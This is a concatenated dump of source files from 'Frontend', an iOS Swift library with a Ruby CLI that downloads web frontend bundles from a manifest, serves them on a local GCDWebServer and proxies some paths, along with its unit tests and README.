"/global_settings" jsonsettings = json.loads(settings, encoding="utf-8") res = self._push_config(url, jsonsettings) if res.status_code != 201 and res.status_code != 200: raise Exception("Failed to set global settings. Result: {}, {}".format(res.status_code, res.text)) <file_sep>/pyvadc/config.py #!/usr/bin/python from . import vadc class VtmConfig(dict): def __init__(self, host, user, passwd): super(VtmConfig,self).__init__() self["brcd_sd_proxy"] = False self["brcd_vtm_host"] = host self["brcd_vtm_user"] = user self["brcd_vtm_pass"] = passwd class BsdConfig(dict): def __init__(self, host, user, passwd): super(BsdConfig,self).__init__() self["brcd_sd_proxy"] = True self["brcd_sd_host"] = host self["brcd_sd_user"] = user self["brcd_sd_pass"] = <PASSWORD>
c6b6cb75b2b192d6348a3afc7d3d1b3b693abc85
[ "Python", "reStructuredText" ]
6
Python
TuxInvader/python-vadc
03e9f3b0fdfe51bb727559b1bb4ca3d5951e9603
9d2f211472466d083ffd49289f9257e99330f12b
refs/heads/master
<file_sep>import Foundation import SwiftyJSON public struct Manifest { public struct File: Equatable { public let path: String public let hash: String public init(path: String, hash: String) { self.path = path self.hash = hash } } // MARK: - Attributes public let baseUrl: String public let commit: String? public let buildAuthor: String? public let gitBranch: String? public let timestamp: Int? public let files: [Manifest.File] // MARK: - Init public init(baseUrl: String, commit: String?, buildAuthor: String?, gitBranch: String?, timestamp: Int?, files: [Manifest.File]) { self.baseUrl = baseUrl self.commit = commit self.buildAuthor = buildAuthor self.gitBranch = gitBranch self.timestamp = timestamp self.files = files } } public func == (lhs: Manifest.File, rhs: Manifest.File) -> Bool { return lhs.hash == rhs.hash && lhs.path == rhs.path } // MARK: - Manifest Extension (Data) internal extension Manifest { internal static var LocalName: String = "app.json" internal init(data: Data) throws { let json = JSON(data: data) guard let baseUrl = json["base_url"].string else { throw FrontendManifestError.invalidManifest("Missing key: base_url") } let commit = json["commit"].string let buildAuthor = json["build_author"].string let gitBranch = json["git_branch"].string let timestamp = json["timestamp"].int let files = json["files"].arrayValue.flatMap { (json) -> Manifest.File? in guard let path = json["path"].string, let hash = json["hash"].string else { return nil } return Manifest.File(path: path, hash: hash) } self.init(baseUrl: baseUrl, commit: commit, buildAuthor: buildAuthor, gitBranch: gitBranch, timestamp: timestamp, files: files) } internal func toData() throws -> Data { var dictionary = [String: AnyObject]() dictionary["base_url"] = self.baseUrl as AnyObject? if let commit = self.commit { dictionary["commit"] = commit as AnyObject? } if let buildAuthor = self.buildAuthor { dictionary["build_author"] = buildAuthor as AnyObject? } if let gitBranch = self.gitBranch { dictionary["git_branch"] = gitBranch as AnyObject? } if let timestamp = self.timestamp { dictionary["timestamp"] = timestamp as AnyObject? } var files: [[String: AnyObject]] = [] self.files.forEach { file in files.append(["path": file.path as AnyObject, "hash": file.hash as AnyObject]) } dictionary["files"] = files as AnyObject? do { return try JSONSerialization.data(withJSONObject: dictionary, options: []) } catch { throw FrontendManifestError.unconvertibleJSON } } } <file_sep>require "spec_helper" require 'webmock/rspec' require 'zip' require 'json' describe "Command" do before :each do @tmp_folder = File.join File.expand_path(Dir.pwd), "tmp" @manifest_url = "https://test.com/manifest.json" @download_path = File.join File.expand_path(Dir.pwd), "frontend.zip" @subject = Frontend::Command.new(@manifest_url, @download_path) @manifest_json = {files: { "a/file.txt": "2222", "b/file.txt": "44444" } } stub_request(:get, @manifest_url).to_return(body: @manifest_json.to_json) stub_request(:get, "https://test.com/a/file.txt").to_return(body: "test1") stub_request(:get, "https://test.com/b/file.txt").to_return(body: "test2") end describe "frontend download" do before :each do @subject.execute FileUtils.rm_rf @tmp_folder FileUtils.mkdir @tmp_folder Zip::File.open(@download_path) do |zip_file| zip_file.each do |entry| f_path=File.join(@tmp_folder, entry.name) FileUtils.mkdir_p(File.dirname(f_path)) entry.extract(f_path) unless File.exist?(f_path) end end end after :each do FileUtils.rm_rf @download_path FileUtils.rm_rf @tmp_folder end it "should zip the file" do expect(File.exist?(@download_path)).to be_truthy end describe "manifest" do it "should include the base_url" do manifest_path = File.join @tmp_folder, "app.json" manifest = JSON.parse(File.read(manifest_path)) expect(manifest["base_url"]).to eq("https://test.com") end it "should contain all the files" do manifest_path = File.join @tmp_folder, "app.json" manifest = JSON.parse(File.read(manifest_path)) expect(manifest["files"].count).to eq(2) end end describe "files" do it "should contain the files in the correct folders" do a_file = File.read(File.join(@tmp_folder, "a/file.txt")) b_file = File.read(File.join @tmp_folder, "b/file.txt") expect(a_file).to eq("test1\n") expect(b_file).to eq("test2\n") end end end end <file_sep>import Foundation import GCDWebServer internal class FrontendProxyRequestMapper { // MARK: - Internal internal func map(method method: String!, url: URL!, headers: [AnyHashable: Any]!, path: String!, query: [AnyHashable: Any]!, proxyResources: [ProxyResource]) -> GCDWebServerRequest? { return proxyResources.flatMap { [weak self] (resource) -> GCDWebServerRequest? in return self?.request(withResource: resource, method: method, url: url, headers: headers, path: path, query: query) }.first } // MARK: - Private private func request(withResource resource: ProxyResource, method: String!, url: URL!, headers: [AnyHashable: Any]!, path: String!, query: [AnyHashable: Any]!) -> GCDWebServerRequest? { guard let url = url else { return nil } guard let path = path else { return nil } if !path.contains(resource.path) { return nil } let proxiedUrl = URL(string: resource.url)! return GCDWebServerRequest(method: method, url: proxiedUrl, headers: headers, path: path, query: query) } } <file_sep>import Foundation import Quick import Nimble import Zip @testable import Frontend private class TestClass: NSObject {} private func unzip(name: String, path: String) { let url = Bundle(for: TestClass.self).url(forResource: name, withExtension: "zip") try! Zip.unzipFile(url!, destination: URL(fileURLWithPath: path), overwrite: true, password: nil, progress: nil) } class FrontendFileManagerSpec: QuickSpec { override func spec() { var path: String! var zipPath: String! var fileManager: MockFileManager! var zipExtractor: MockZipExtractor! var subject: FrontendFileManager! beforeEach { path = FrontendConfiguration.defaultDirectory() zipPath = "zipPath" fileManager = MockFileManager() zipExtractor = MockZipExtractor() unzip(name: "Data", path: path) subject = FrontendFileManager(path: path, zipPath: zipPath, fileManager: fileManager, zipExtractor: zipExtractor) } describe("-currentPath") { it("should return the correct value") { expect(subject.currentPath()) == "\(path!)/Current" } } describe("-enqueuedPath") { it("should return the correct value") { expect(subject.enqueuedPath()) == "\(path!)/Enqueued" } } describe("-currentFrontendManifest") { it("should return the correct value") { expect(subject.currentFrontendManifest()).toNot(beNil()) } } describe("-enqueuedFrontendManifest") { it("should return the correct value") { expect(subject.enqueuedFrontendManifest()).toNot(beNil()) } } describe("-currentAvailable") { it("should return the correct value") { expect(subject.currentAvailable()) == false } } describe("-enqueuedAvailable") { it("should return the correct value") { expect(subject.enqueuedAvailable()) == true } } describe("-replaceWithEnqueued") { beforeEach { try! subject.replaceWithEnqueued() } it("should remove the current one") { expect(fileManager.removedAtPath) == subject.currentPath() } it("should copy the enqueued") { expect(fileManager.movedFrom) == subject.enqueuedPath() expect(fileManager.movedTo) == subject.currentPath() } } describe("-replaceWithZipped") { beforeEach { try! subject.replaceWithZipped() } it("should take the correct zip") { expect(zipExtractor.zipUrl) == URL(fileURLWithPath: subject.zipPath) } it("should extract into the correct directory") { expect(zipExtractor.destinationUrl) == URL(fileURLWithPath: subject.currentPath()) } it("should extract it overwriting the existing content") { expect(zipExtractor.overwrite) == true } } } } // MARK: - Mocks private class MockZipExtractor: ZipExtractor { var zipUrl: URL! var destinationUrl: URL! var overwrite: Bool! fileprivate override func unzipFile(zipFilePath: URL, destination: URL, overwrite: Bool, password: String?, progress: ((_ progress: Double) -> ())?) throws { self.zipUrl = zipFilePath self.destinationUrl = destination self.overwrite = overwrite } } private class MockFileManager: FileManager { var removedAtPath: String! var movedFrom: String! var movedTo: String! fileprivate override func removeItem(atPath path: String) throws { self.removedAtPath = path } fileprivate override func moveItem(atPath srcPath: String, toPath dstPath: String) throws { self.movedFrom = srcPath self.movedTo = dstPath } } <file_sep>import Foundation import Zip internal class ZipExtractor { internal func unzipFile(zipFilePath: URL, destination: URL, overwrite: Bool, password: String?, progress: ((_ progress: Double) -> ())?) throws { try Zip.unzipFile(zipFilePath, destination: destination, overwrite: overwrite, password: <PASSWORD>, progress: progress) } } <file_sep>import Foundation public struct FrontendConfiguration { // MARK: - Attributes internal let manifestUrl: String internal let baseUrl: String internal let localPath: String internal let port: UInt internal let proxyResources: [ProxyResource] internal let manifestMapper: ManifestMapper internal let zipPath: String // MARK: - Init public init(manifestUrl: String, baseUrl: String, port: UInt, zipPath: String, proxyResources: [ProxyResource] = [], localPath: String = FrontendConfiguration.defaultDirectory(), manifestMapper: @escaping ManifestMapper = DefaultManifestMapper) { self.manifestUrl = manifestUrl self.baseUrl = baseUrl self.localPath = localPath self.port = port self.proxyResources = proxyResources self.manifestMapper = manifestMapper self.zipPath = zipPath } // MARK: - Private internal static func defaultDirectory() -> String { let documentsDirectory = NSSearchPathForDirectoriesInDomains(.documentDirectory, .userDomainMask, true)[0] return NSString(string: documentsDirectory).appendingPathComponent("Frontend") } } <file_sep>use_frameworks! target 'Frontend_Tests' do pod 'Frontend', :path => '../' pod 'Quick', "~> 0.10" pod 'Nimble', '~> 5.0' end <file_sep>import Foundation import Zip internal class FrontendFileManager { // MARK: - Attributes internal let path: String internal let zipPath: String internal let fileManager: FileManager internal let zipExtractor: ZipExtractor // MARK: - Init internal init(path: String, zipPath: String, fileManager: FileManager = FileManager.default, zipExtractor: ZipExtractor = ZipExtractor()) { self.path = path self.zipPath = zipPath self.fileManager = fileManager self.zipExtractor = zipExtractor } // MARK: - Internal internal func currentPath() -> String { return NSString(string: self.path).appendingPathComponent("Current") } internal func enqueuedPath() -> String { return NSString(string: self.path).appendingPathComponent("Enqueued") } internal func currentFrontendManifest() -> Manifest? { return self.manifest(atPath: self.currentPath()) } internal func enqueuedFrontendManifest() -> Manifest? { return self.manifest(atPath: self.enqueuedPath()) } internal func currentAvailable() -> Bool { return self.frontend(atPath: self.currentPath()) } internal func enqueuedAvailable() -> Bool { return self.frontend(atPath: self.enqueuedPath()) } internal func replaceWithEnqueued() throws { if !self.enqueuedAvailable() { throw FrontendFileManagerError.notAvailable } try self.fileManager.removeItem(atPath: self.currentPath()) try self.fileManager.moveItem(atPath: self.enqueuedPath(), toPath: self.currentPath()) } internal func replaceWithZipped() throws { let zipFilePath: URL = URL(fileURLWithPath: self.zipPath) let destinationPath: URL = URL(fileURLWithPath: self.currentPath()) try self.zipExtractor.unzipFile(zipFilePath: zipFilePath, destination: destinationPath, overwrite: true, password: nil, progress: nil) } // MARK: - Private fileprivate func manifest(atPath path: String) -> Manifest? { let manifestPath = NSString(string: path).appendingPathComponent(Manifest.LocalName) guard let data = try? Data(contentsOf: URL(fileURLWithPath: manifestPath)) else { return nil } return try? Manifest(data: data) } fileprivate func frontend(atPath path: String) -> Bool { guard let manifest = self.manifest(atPath: path) else { return false } for file in manifest.files { let filePath = NSString(string: path).appendingPathComponent(file.path) if !self.fileManager.fileExists(atPath: filePath) { return false } } return true } } <file_sep>import Foundation import Quick import Nimble import GCDWebServer @testable import Frontend class FrontendRequestDispatcherSpec: QuickSpec { override func spec() { var session: MockSession! var dataTask: MockSessionDataTask! var response: GCDWebServerResponse! var responseMapper: MockResponseMapper! var request: URLRequest! var requestMapper: MockRequestMapper! var subject: FrontendRequestDispatcher! beforeEach { dataTask = MockSessionDataTask() session = MockSession() session.dataTask = dataTask response = GCDWebServerResponse() responseMapper = MockResponseMapper() responseMapper.response = response request = URLRequest(url: URL(string: "test://test")!) requestMapper = MockRequestMapper() requestMapper.request = request subject = FrontendRequestDispatcher(requestMapper: requestMapper, responseMapper: responseMapper, session: session) } describe("-dispatch:request:completion") { var dispatcherResponse: GCDWebServerResponse! beforeEach { subject.dispatch(request: GCDWebServerRequest(), completion: { (response) in dispatcherResponse = response }) } it("should complete with the correct response") { expect(dispatcherResponse).to(beIdenticalTo(response)) } } } } // MARK: - Mocks private class MockRequestMapper: FrontendRequestMapper { var request: URLRequest! fileprivate override func map(request: GCDWebServerRequest) -> URLRequest { return self.request } } private class MockResponseMapper: FrontendResponseMapper { var response: GCDWebServerResponse! fileprivate override func map(data: Data?, response: URLResponse?, error: Error?) -> GCDWebServerResponse { return self.response } } private class MockSession: URLSession { var dataTask: MockSessionDataTask! fileprivate override func dataTask(with request: URLRequest, completionHandler: @escaping (Data?, URLResponse?, Error?) -> Void) -> URLSessionDataTask { completionHandler(nil, URLResponse(), nil) return dataTask } } private class MockSessionDataTask: URLSessionDataTask { var resumed: Bool = false fileprivate override func resume() { self.resumed = true } } <file_sep>import Foundation import Quick import Nimble import GCDWebServer @testable import Frontend class FrontendServerSpec: QuickSpec { override func spec() { var subject: FrontendServer! var server: MockGCDServer! var path: String! var proxyResources: [ProxyResource]! var port: UInt! var configurator: MockFrontendConfigurator! beforeEach { server = MockGCDServer() path = "/path" proxyResources = [] port = 8080 configurator = MockFrontendConfigurator(proxyResources: []) subject = FrontendServer(path: path, port: port, proxyResources: proxyResources, server: server, configurator: configurator) } describe("-start") { var started: Bool! beforeEach { started = subject.start() } it("should return the correct value") { expect(started) == true } it("should start with the correct port") { expect(server.startedPort) == port } it("should start with no bonjour name") { expect(server.startedBonjourName).to(beNil()) } it("should configure the frontend with the correct directory path") { expect(configurator.configuredDirectoryPath) == path } it("should configure the frontend with the correct server") { expect(configurator.configuredServer).to(beIdenticalTo(subject.server)) } } } } // MARK: - Mock private class MockGCDServer: GCDWebServer { var startedPort: UInt! var startedBonjourName: String! fileprivate override func start(withPort port: UInt, bonjourName name: String!) -> Bool { self.startedPort = port self.startedBonjourName = name return true } } private class MockFrontendConfigurator: FrontendConfigurator { var configuredDirectoryPath: String! var configuredServer: GCDWebServer! fileprivate override func configure(directoryPath: String, server: GCDWebServer) { self.configuredDirectoryPath = directoryPath self.configuredServer = server } } <file_sep>import Foundation import Quick import Nimble @testable import Frontend class FrontendControllerSpec: QuickSpec { override func spec() { var configuration: FrontendConfiguration! var fileManager: MockFileManager! var downloader: MockDownloader! var server: MockServer! var subject: FrontendController! beforeEach { configuration = FrontendConfiguration(manifestUrl: "manifestUrl", baseUrl: "baseURl", port: 8080, zipPath: "zipPath") fileManager = MockFileManager(path: configuration.localPath, zipPath: configuration.zipPath) downloader = MockDownloader() server = MockServer(path: fileManager.currentPath(), port: configuration.port, proxyResources: configuration.proxyResources) subject = FrontendController(configuration: configuration, fileManager: fileManager, downloader: downloader, server: server) } describe("-setup") { context("when the current frontend is not available") { beforeEach { fileManager._currentAvailable = false _ = try? subject.setup() } it("should replace the current with the zipped one") { expect(fileManager.replacedWithZip) == true } } context("when the there's a current frontend and an enqueued available") { beforeEach { fileManager._currentAvailable = true fileManager._enqueuedAvailable = true try! subject.setup() } it("should replace the current with the enqueued one") { expect(fileManager.replacedWithEnqueued) == true } } context("if there's no frontend available") { beforeEach { fileManager._currentAvailable = false } it("should throw a .NoFrontendAvailable") { expect { try subject.setup() }.to(throwError(FrontendControllerError.noFrontendAvailable)) } } describe("download") { beforeEach { fileManager._currentAvailable = true try! subject.setup() } it("it should download with the correct manifest") { expect(downloader.downloadManifestUrl) == configuration.manifestUrl } it("should download with the correct base url") { expect(downloader.downloadBaseUrl) == configuration.baseUrl } it("should download with the correct download path") { expect(downloader.downloadPath) == fileManager.enqueuedPath() } } describe("server") { beforeEach { fileManager._currentAvailable = true try! subject.setup() } it("should start the server") { expect(server.started) == true } } } describe("-url") { it("should have the correct format") { expect(subject.url()) == "http://127.0.0.1:\(configuration.port)" } } describe("-available") { it("should return the correct status") { expect(subject.available()) == fileManager.currentAvailable() } } describe("-download:replacing:progress:completion") { context("when it errors") { it("should notify about the error") { waitUntil(action: { (done) in let error = NSError(domain: "", code: -1, userInfo: nil) downloader.completionError = error try! subject.download(replacing: false, progress: nil, completion: { (_error) in done() }) }) } } context("when it doesn't error") { it("shouldn't send any error back") { waitUntil(action: { (done) in try! subject.download(replacing: true, progress: nil, completion: { (_error) in expect(_error).to(beNil()) done() }) }) } it("should replace if the frontend if it's specified") { waitUntil(action: { (done) in try! subject.download(replacing: true, progress: nil, completion: { (_error) in expect(fileManager.replacedWithEnqueued) == true done() }) }) } } } } } // MARK: - Mocks private class MockFileManager: FrontendFileManager { var replacedWithZip: Bool = false var replacedWithEnqueued: Bool = false var _currentAvailable: Bool = false var _enqueuedAvailable: Bool = false fileprivate override func replaceWithZipped() throws { self.replacedWithZip = true } fileprivate override func replaceWithEnqueued() throws { self.replacedWithEnqueued = true } fileprivate override func currentAvailable() -> Bool { return self._currentAvailable } fileprivate override func enqueuedAvailable() -> Bool { return self._enqueuedAvailable } } private class MockDownloader: FrontendDownloader { var downloadManifestUrl: String! var downloadBaseUrl: String! var downloadPath: String! var completionError: Error? fileprivate override func download(manifestUrl: String, baseUrl: String, manifestMapper: @escaping ManifestMapper, downloadPath: String, progress: @escaping (_ downloaded: Int, _ total: Int) -> Void, completion: @escaping (Error?) -> Void) { self.downloadManifestUrl = manifestUrl self.downloadBaseUrl = baseUrl self.downloadPath = downloadPath completion(completionError) } } private class MockServer: FrontendServer { var started: Bool = false fileprivate override func start() -> Bool { self.started = true return true } } <file_sep>import Foundation import Quick import Nimble import GCDWebServer @testable import Frontend class FrontendProxyRequestMapperSpec: QuickSpec { override func spec() { var subject: FrontendProxyRequestMapper! var resources: [ProxyResource]! var request: GCDWebServerRequest! beforeEach { subject = FrontendProxyRequestMapper() resources = [ProxyResource(path: "/admin", url: "https://remote.com")] } context("when the url is nil") { beforeEach { request = subject.map(method: "GET", url: nil, headers: nil, path: nil, query: nil, proxyResources: resources) } it("it shouldn't return any request") { expect(request).to(beNil()) } } context("when the path is nil") { beforeEach { request = subject.map(method: "GET", url: URL(string: "https://test.com")!, headers: nil, path: nil, query: nil, proxyResources: resources) } it("it shouldn't return any request") { expect(request).to(beNil()) } } context("when the path is not handled by any of the proxy resources") { beforeEach { request = subject.map(method: "GET", url: URL(string: "https://1172.16.31.10"), headers: nil, path: "/test", query: nil, proxyResources: resources) } it("shouldn't return any request") { expect(request).to(beNil()) } } context("when the path is supported by one of the handlers") { beforeEach { request = subject.map(method: "GET", url: URL(string: "https://1172.16.31.10"), headers: ["key" as NSObject: "value" as AnyObject], path: "/admin/test/test2", query: ["key2" as NSObject: "value2" as AnyObject], proxyResources: resources) } it("should proxy the request with the correct method") { expect(request.method) == "GET" } it("should proxy the request with the correct url") { expect(request.url.absoluteString) == resources.first?.url } it("should proxy the request with the correct headers") { expect(request.headers as? [String: String]) == ["key": "value"] } it("should proxy the request with the correct query") { expect(request.query as? [String: String]) == ["key2": "value2"] } } } } <file_sep>import Foundation import Quick import Nimble import GCDWebServer @testable import Frontend class FrontendresponseMapperSpec: QuickSpec { override func spec() { var response: HTTPURLResponse! var data: Data! var error: NSError! var subject: FrontendResponseMapper! var output: GCDWebServerResponse! beforeEach { response = HTTPURLResponse(url: URL(string:"http://test.com")!, statusCode: 25, httpVersion: "2.2", headerFields: ["a": "b", "content-type": "jpg"]) subject = FrontendResponseMapper() data = try! JSONSerialization.data(withJSONObject: ["c": "d"], options: []) error = NSError(domain: "", code: -1, userInfo: nil) output = subject.map(data: data, response: response, error: error) } it("should use the correct data") { let outputData = try! output.readData() let json = try! JSONSerialization.jsonObject(with: outputData, options: []) as? [String: String] expect(json?["c"]) == "d" } it("should copy the content type") { expect(output.contentType) == "jpg" } it("should copy the status code") { expect(output.statusCode) == 25 } } } <file_sep>import Foundation import Quick import Nimble import GCDWebServer @testable import Frontend class FrontendRequestMapperSpec: QuickSpec { override func spec() { var sourceRequest: GCDWebServerRequest! var outputRequest: URLRequest! var subject: FrontendRequestMapper! beforeEach { sourceRequest = GCDWebServerRequest(method: "GET", url: URL(string: "http://test.com"), headers: ["a": "b"], path: "/path", query: ["c": "d"]) subject = FrontendRequestMapper() outputRequest = subject.map(request: sourceRequest) } it("should have the correct http method") { expect(outputRequest.httpMethod) == "GET" } it("should have the correct url") { expect(outputRequest.url?.absoluteString) == "http://test.com/path" } it("should have the correct headers") { expect(outputRequest.allHTTPHeaderFields! as [String: String]) == ["a": "b"] } it("should have the correct body") { let bodyData = outputRequest.httpBody! let bodyJson = try! JSONSerialization.jsonObject(with: bodyData, options: []) as? [String: String] expect(bodyJson) == ["c": "d"] } } } <file_sep>import Foundation internal class FrontendDownloader { // MARK: - Properties internal let session: URLSession // MARK: - Init internal init(session: URLSession = URLSession(configuration: URLSessionConfiguration.default)) { self.session = session } // MARK: - Internal internal func download(manifestUrl: String, baseUrl: String, manifestMapper: @escaping ManifestMapper, downloadPath: String, progress: @escaping (_ downloaded: Int, _ total: Int) -> Void, completion: @escaping (Error?) -> Void) { self.downloadManifest(manifestUrl: manifestUrl, baseUrl: baseUrl, manifestMapper: manifestMapper) { (manifest, error) in if let error = error { completion(error) } else if let manifest = manifest { self.downloadFiles(manifest: manifest, downloadPath: downloadPath, completion: completion, progress: progress) } } } // MARK: - Private fileprivate func downloadFiles(manifest: Manifest, downloadPath: String, completion: (NSError?) -> Void, progress: (_ downloaded: Int, _ total: Int) -> Void) { var downloaded: [Manifest.File] = [] let files: [Manifest.File] = manifest.files for file in files { // TODO /* 1. If the file is available, copy it 2. Else, download it */ } } fileprivate func downloadManifest(manifestUrl: String, baseUrl: String, manifestMapper: @escaping ManifestMapper, completion: @escaping (Manifest?, Error?) -> Void) { var request: URLRequest = URLRequest(url: URL(string: manifestUrl)!) request.addValue("application/json", forHTTPHeaderField: "Accept") self.session.dataTask(with: request) { (data, response, error) in if let error = error { completion(nil, error) return } guard let data = data else { return } do { let json = try JSONSerialization.jsonObject(with: data, options: []) completion(manifestMapper(baseUrl)(json as AnyObject), nil) } catch { completion(nil, error as NSError) } }.resume() } } <file_sep>require "rest-client" require "json" require 'fileutils' require 'zip' require_relative "zip_file_generator" module Frontend class Command def initialize(manifest_url, output_zip_file) @manifest_url = manifest_url @output_zip_file = output_zip_file end def execute begin temp_path = File.join(File.expand_path(Dir.pwd), "tmp") FileUtils.rm_rf(temp_path) FileUtils.mkdir(temp_path) manifest_json = self.download_manifest File.join(temp_path, "app.json") manifest_json["files"].each do |file| self.download_file(file[0], temp_path) end zip(temp_path) ensure FileUtils.rm_rf(temp_path) end end protected def zip(path) puts "==> Zipping to #{@output_zip_file}" FileUtils.rm @output_zip_file, :force => true ZipFileGenerator.new(path, @output_zip_file).write end def download_manifest(save_path) puts "==> Downloading manifest: #{@manifest_url}" manifest_json = JSON.parse(RestClient.get(@manifest_url)) manifest_json["base_url"] = self.base_url File.open(save_path,"w") do |f| f.write(JSON.pretty_generate(manifest_json)) end manifest_json end def download_file(file_path, save_path) puts "===> Downloading file: #{file_path}" url = File.join(self.base_url, file_path) file_folder = File.join(save_path, file_path) file_parent_folder = file_folder.split("/")[0..-2].join("/") FileUtils.mkdir_p file_parent_folder File.open(file_folder, 'w') {|f| RestClient.get url do |str| f.write str end } end def base_url @manifest_url.split("/")[0..-2].join("/") end end end<file_sep>require "thor" require "frontend/version" require_relative "frontend/command" class FrontendCLI < Thor desc "download MANIFEST_URL ZIP_PATH", "download the frontend specified in the MANIFEST_URL and compress it into a zip in ZIP_PATH" def download(manifest_url, zip_path) Frontend::Command.new(manifest_url, zip_path).execute end end FrontendCLI.start(ARGV)<file_sep>import Foundation import GCDWebServer internal class FrontendConfigurator { // MARK: - Properties internal let proxyRequestMapper: FrontendProxyRequestMapper internal let proxyResources: [ProxyResource] internal let requestDispatcher: FrontendRequestDispatcher // MARK: - Init internal init(proxyResources: [ProxyResource], proxyRequestMapper: FrontendProxyRequestMapper = FrontendProxyRequestMapper(), requestDispatcher: FrontendRequestDispatcher = FrontendRequestDispatcher()) { self.proxyResources = proxyResources self.proxyRequestMapper = proxyRequestMapper self.requestDispatcher = requestDispatcher } // MARK: - Internal internal func configure(directoryPath directoryPath: String, server: GCDWebServer) { self.configureLocal(directoryPath: directoryPath, server: server) self.configureProxy(server: server) } // MARK: - Private private func configureLocal(directoryPath directoryPath: String, server: GCDWebServer) { server.addGETHandler(forBasePath: "/", directoryPath: directoryPath, indexFilename: "index.html", cacheAge: 3600, allowRangeRequests: true) } private func configureProxy(server server: GCDWebServer) { server.addHandler(match: { (method, url, headers, path, query) -> GCDWebServerRequest? in return self.proxyRequestMapper.map(method: method, url: url, headers: headers, path: path, query: query, proxyResources: self.proxyResources) return GCDWebServerRequest() }) { (request, completion) in self.requestDispatcher.dispatch(request: request!, completion: completion!) } } } <file_sep>import Foundation public typealias FrontendProgress = ((_ downloaded: Int, _ total: Int) -> Void) public typealias FrontendCompletion = ((Error?) -> Void) @objc open class FrontendController: NSObject { // MARK: - Attributes internal let configuration: FrontendConfiguration internal let fileManager: FrontendFileManager internal let downloader: FrontendDownloader internal let server: FrontendServer open fileprivate(set) var downloading: Bool = false // MARK: - Init convenience public init(configuration: FrontendConfiguration) { let fileManager = FrontendFileManager(path: configuration.localPath, zipPath: configuration.zipPath) let downloader = FrontendDownloader() let server = FrontendServer(path: fileManager.currentPath(), port: configuration.port, proxyResources: configuration.proxyResources) self.init(configuration: configuration, fileManager: fileManager, downloader: downloader, server: server) } internal init(configuration: FrontendConfiguration, fileManager: FrontendFileManager, downloader: FrontendDownloader, server: FrontendServer) { self.configuration = configuration self.fileManager = fileManager self.downloader = downloader self.server = server } // MARK: - Public open func setup() throws { if !self.fileManager.currentAvailable() { try self.fileManager.replaceWithZipped() } else if self.fileManager.enqueuedAvailable() { try self.fileManager.replaceWithEnqueued() } if !self.fileManager.currentAvailable() { throw FrontendControllerError.noFrontendAvailable } try self.download(replacing: false) self.server.start() } open func url() -> String { return "http://127.0.0.1:\(self.configuration.port)" } open func available() -> Bool { return self.fileManager.currentAvailable() } open func download(replacing replace: Bool, progress: FrontendProgress? = nil, completion: FrontendCompletion? = nil) throws { if self.downloading { throw FrontendControllerError.alreadyDownloading } self.downloader.download(manifestUrl: self.configuration.manifestUrl, baseUrl: self.configuration.baseUrl, manifestMapper: self.configuration.manifestMapper, downloadPath: self.fileManager.enqueuedPath(), progress: { (downloaded, total) in progress?(downloaded, total) }) { [weak self] error in self?.downloading = false if !replace { completion?(error) return } do { try self?.fileManager.replaceWithEnqueued() completion?(nil) } catch { completion?(error as NSError) } } } } <file_sep>import Foundation public struct ProxyResource: Equatable { // MARK: - Attributes internal let path: String internal let url: String // MARK: - Init public init(path: String, url: String) { self.path = path self.url = url } } public func == (lhs: ProxyResource, rhs: ProxyResource) -> Bool { return lhs.path == rhs.path && lhs.url == rhs.url }<file_sep># Frontend [![CI Status](http://img.shields.io/travis/<NAME>̃<NAME>́a/Frontend.svg?style=flat)](https://travis-ci.org/<NAME>̃<NAME>́a/Frontend) [![Version](https://img.shields.io/cocoapods/v/Frontend.svg?style=flat)](http://cocoapods.org/pods/Frontend) [![License](https://img.shields.io/cocoapods/l/Frontend.svg?style=flat)](http://cocoapods.org/pods/Frontend) [![Platform](https://img.shields.io/cocoapods/p/Frontend.svg?style=flat)](http://cocoapods.org/pods/Frontend) ## Example To run the example project, clone the repo, and run `pod install` from the Example directory first. ## Requirements ## Installation Frontend is available through [CocoaPods](http://cocoapods.org). To install it, simply add the following line to your Podfile: ```ruby pod "Frontend" ``` ## Author <NAME>, <EMAIL> ## License Frontend is available under the MIT license. See the LICENSE file for more info. <file_sep>import Foundation import GCDWebServer internal class FrontendServer { // MARK: - Attributes private let path: String private let port: UInt private let proxyResources: [ProxyResource] internal let server: GCDWebServer internal let configurator: FrontendConfigurator // MARK: - Init internal convenience init(path: String, port: UInt, proxyResources: [ProxyResource]) { let server = GCDWebServer()! let configurator = FrontendConfigurator(proxyResources: proxyResources) self.init(path: path, port: port, proxyResources: proxyResources, server: server, configurator: configurator) } internal init(path: String, port: UInt, proxyResources: [ProxyResource], server: GCDWebServer, configurator: FrontendConfigurator) { self.path = path self.port = port self.proxyResources = proxyResources self.server = server self.configurator = configurator } // MARK: - Internal internal func start() -> Bool { self.configurator.configure(directoryPath: self.path, server: self.server) return self.server.start(withPort: self.port, bonjourName: nil) } } <file_sep>import Foundation import GCDWebServer internal class FrontendRequestDispatcher { // MARK: - Attributes internal let requestMapper: FrontendRequestMapper internal let responseMapper: FrontendResponseMapper internal let session: URLSession // MARK: - Init internal init(requestMapper: FrontendRequestMapper = FrontendRequestMapper(), responseMapper: FrontendResponseMapper = FrontendResponseMapper(), session: URLSession = URLSession(configuration: URLSessionConfiguration.default)) { self.requestMapper = requestMapper self.responseMapper = responseMapper self.session = session } // MARK: - Internal internal func dispatch(request request: GCDWebServerRequest, completion: @escaping GCDWebServerCompletionBlock) { self.session.dataTask(with: self.requestMapper.map(request: request)) { (data, response, error) in completion(self.responseMapper.map(data: data, response: response, error: error)) }.resume() } } <file_sep>import Foundation import Quick import Nimble import GCDWebServer @testable import Frontend class FrontendConfiguratorSpec: QuickSpec { override func spec() { var server: MockGCDServer! var path: String! var subject: FrontendConfigurator! var proxyRequestMapper: MockProxyRequestMapper! var requestDispatcher: MockRequestDispatcher! beforeEach { server = MockGCDServer() path = "path" proxyRequestMapper = MockProxyRequestMapper() requestDispatcher = MockRequestDispatcher() subject = FrontendConfigurator(proxyResources: [], proxyRequestMapper: proxyRequestMapper, requestDispatcher: requestDispatcher) } describe("-configure:directoryPath:server") { beforeEach { subject.configure(directoryPath: path, server: server) } describe("local") { it("should add a get handler with the correct base path") { expect(server.getHandlerBasePath) == "/" } it("should add a get handler with the correct directory path") { expect(server.getHandlerDirectoryPath) == path } it("should add a get handler with the correct index file name") { expect(server.getHandlerIndexFileName) == "index.html" } it("should add a get handler with the correct cache age") { expect(server.getHandlerCacheAge) == 3600 } it("should add a get handler with the correct allowRangeRequests") { expect(server.getHandlerAllowRangeRequests) == true } } describe("remote") { it("should map the correct method") { expect(proxyRequestMapper.mappedMethod) == "GET" } it("should map the correct url") { expect(proxyRequestMapper.mappedURL) == URL(string: "url")! } it("should map the correct headers") { 